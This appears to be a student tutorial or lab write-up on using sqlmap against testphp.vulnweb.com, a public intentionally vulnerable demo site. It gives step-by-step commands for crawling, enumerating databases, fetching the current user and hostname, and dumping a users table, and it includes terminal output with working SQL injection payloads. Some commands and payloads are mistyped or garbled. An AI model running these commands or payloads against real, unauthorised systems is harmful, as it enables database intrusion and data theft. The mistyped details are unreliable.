

SQL map

Step -1

Purpose and Usage of SQL Map:

- SQL Map is a tool used for detecting and exploiting SQL injection vulnerabilities in web applications.
- It automates the process of identifying and exploiting SQL injection flaws, making it easier for penetration testers to assess the security of web applications.

Step -2

Installation of SQL Map:

- SQL Map is written in Python and can be easily installed on most operating systems.
- You can install SQL Map by cloning its GitHub repository or by using package managers like apt (for Debian-based systems) or yum (for Red Hat-based systems).
- For example, on Debian-based systems, you can install SQL Map using the following command:
sudo apt-get install sql map.

Step -3

Identifying a Vulnerable Web Application:

- You can use intentionally vulnerable web applications like DVWA (Damn Vulnerable Web Application) or Web Goat for practicing SQL injection attacks.
- Install and set up DVWA on your local machine or use online platforms like OWASP Juice Shop.

Step -4

Performing a Basic SQL Injection Attack:

- Use SQL Map to perform a basic SQL injection attack against the chosen target.
- Example command: **sqlmap -u "http://target.com/page.php?id=1" --dbs**
- This command will identify the databases present in the target application by exploiting the SQL injection vulnerability.

Step -5

Documenting the Steps:

Document the commands you used, the responses you received, and any observations you made during the attack.

- Describe the potential impact of SQL injection vulnerabilities and suggest mitigation strategies.

PROCESS:

- Syntax: **<SQL map -u --crawl=2>**

- `Sqlmap -u http://testphp.vulnweb.com/ --crawl=2`
- Use `--batch` command for automatic response to yes/no questions while executing the commands

```

root@phani:~/hame/phaneendra
File Actions Edit View Help

(phaneendra@phani)~$-[-]
└─$ sudo su
[sudo] password for phaneendra:
root@phani:~# /home/phaneendra
$ sqlmap -u http://testphp.vulnweb.com/ --crawl=2

[.8.2stable]
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:47:24 /2024-03-12/

do you want to check for the existence of site's sitemap.xml? [y/N] y
[21:47:40] [WARNING] 'sitemap.xml' not found
[21:47:40] [INFO] starting crawler for target URL 'http://testphp.vulnweb.com/'
[21:47:40] [INFO] searching for links with depth 1
[21:47:40] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)]: 1
[21:47:53] [WARNING] running in a single-thread mode. This could take a while
[21:48:10] [INFO] 9/11 Links visited (69%)
got a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow? [Y/n] y
do you want to normalize crawling results [Y/n] y
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] y
[21:48:50] [INFO] writing crawling results to a temporary file '/tmp/sqlmapb7f9j5p2940/sqlmapcrawler-0m087gik.txt'
[21:48:50] [INFO] found a total of 5 targets
[1/5] URL:
GET http://testphp.vulnweb.com/listproducts.php?cat=1
do you want to test this URL? [Y/n/q]
> y
[21:49:04] [INFO] testing URL 'http://testphp.vulnweb.com/listproducts.php?cat=1'
[21:49:04] [INFO] using '/root/.local/share/sqlmap/output/results-03122024_0949pm.csv' as the CSV results file in multiple targets mode
[21:49:04] [INFO] testing connection to the target URL
[21:49:06] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:49:07] [INFO] testing if the target URL content is stable
[21:49:09] [INFO] target URL content is stable
[21:49:09] [INFO] testing if GET parameter 'cat' is dynamic
[21:49:11] [INFO] GET parameter 'cat' appears to be dynamic
[21:49:13] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DOWNS: 'MySQL')
[21:49:13] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks
[21:49:13] [INFO] testing for SQL injection on GET parameter 'cat'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:49:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:49:33] [WARNING] reflective value(s) found and filtering out
[21:49:36] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --strings='Sed')
[21:49:36] [INFO] testing 'Generic inline queries'
[21:49:37] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
```

```
File Actions Edit View Help
[21:49:41] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[21:50:00] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[21:50:01] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[21:50:02] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[21:50:03] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[21:50:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[21:50:04] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[21:50:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:50:05] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[21:50:17] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)' injectable
[21:50:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:50:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:50:18] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:50:22] [INFO] target URL appears to have 11 columns in query
[21:50:24] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 7008=7008

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x717a7a7171,0x66684f66517a6f6342586d4c6447706e596e705048644c5453706f506c674b64706743614e73484e,0x716a717171),1375)

  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
  Payload: cat=1 OR (SELECT 4084 FROM (SELECT(SLEEP(5)))RTdc)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a7171,0x66684f66517a6f6342586d4c6447706e596e705048644c5453706f506c674b64706743614e73484e,0x716a717171),NULL,NULL --

do you want to exploit this SQL injection? [Y/n] y
[21:51:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
SQL injection vulnerability has already been detected against 'testphp.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] y
[21:51:26] [INFO] skipping 'http://testphp.vulnweb.com/artists.php?artist=1'
[21:51:26] [INFO] skipping 'http://testphp.vulnweb.com/comment.php?aid=1'
[21:51:26] [INFO] skipping 'http://testphp.vulnweb.com/hpp/?pp=12'
[21:51:26] [INFO] skipping 'http://testphp.vulnweb.com/showimage.php?file='
[21:51:26] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-03122024_0949pm.csv'

[*] ending @ 21:51:26 /2024-03-12/

root@phani:/home/phanendra
```

From the sql injection we got:

- testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
- testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' → testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
- testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' → testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
- testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' → testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'

- testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'
- testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
- testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
- testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
- testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
- testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
- testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
- testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
- testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
- testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATXML)'
- testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
- testing 'MySQL inline queries'
- testing 'MySQL >= 5.0.12 stacked queries (comment)'
- testing 'MySQL >= 5.0.12 stacked queries'
- testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
- testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
- testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
- testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
- testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

Results are saved in this location

: '/root/.local/share/sqlmap/output/results-03102024_0953am.csv'

Use following command to find the database: sqlmap -u
<http://testphp.vulnweb.com/listproducts.php?cat=1> --dbs

```
root@phani:/home/phaneendra
# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs -batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:55:53 /2024-03-12/

[21:55:53] [INFO] resuming back-end DBMS 'mysql'
[21:55:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 7000=7000

  Type: error-based
  Title: MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: cat=1 AND GTID_SUBSET(CONCAT(0x717a7171,(SELECT (ELT(1375=1375,1))))0x716a7171),1375)

  Type: time-based blind
  Title: MySQL > 5.0.12 OR time-based blind (query SLEEP)
  Payload: cat=1 OR (SELECT 4484 FROM (SELECT(SLEEP(5))))RTdc

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7171,0x46684f6651746f342586d4c644776e596e705048644c5453706f506c674b64706743614e73484e,0x716a717171),NULL,NULL,--

[21:56:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL > 5.6
[21:56:01] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[21:56:09] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 21:56:09 /2024-03-12/

root@phani:/home/phaneendra
```

Use following command to find current user, host name and database:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db --hostname

```
root@phani:/home/phaneendra
# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db --hostname

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:06:32 /2024-03-12/

[22:06:32] [INFO] resuming back-end DBMS 'mysql'
[22:06:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 3284=3284

  Type: time-based blind
  Title: MySQL > 5.0.12 OR time-based blind (SLEEP)
  Payload: artist=1 OR SLEEP(5)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=0x15 UNION ALL SELECT NULL,NULL,CONCAT(0x716a7171,0x4a4a6a524e6f67762547365736f57696a496e74046151574f646763624c6e59526e50774b584d78,0x716b6a7171)--

[22:06:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL > 5.6.12
[22:06:33] [INFO] fetching current user
current user: 'acuart@localhost'
[22:06:34] [INFO] fetching current database
current database: 'acuart'
[22:06:34] [INFO] fetching server hostname
hostname: 'ip-18-0-222'
[22:06:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 22:06:35 /2024-03-12/

root@phani:/home/phaneendra
```

Use following command to dictionary attack:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump

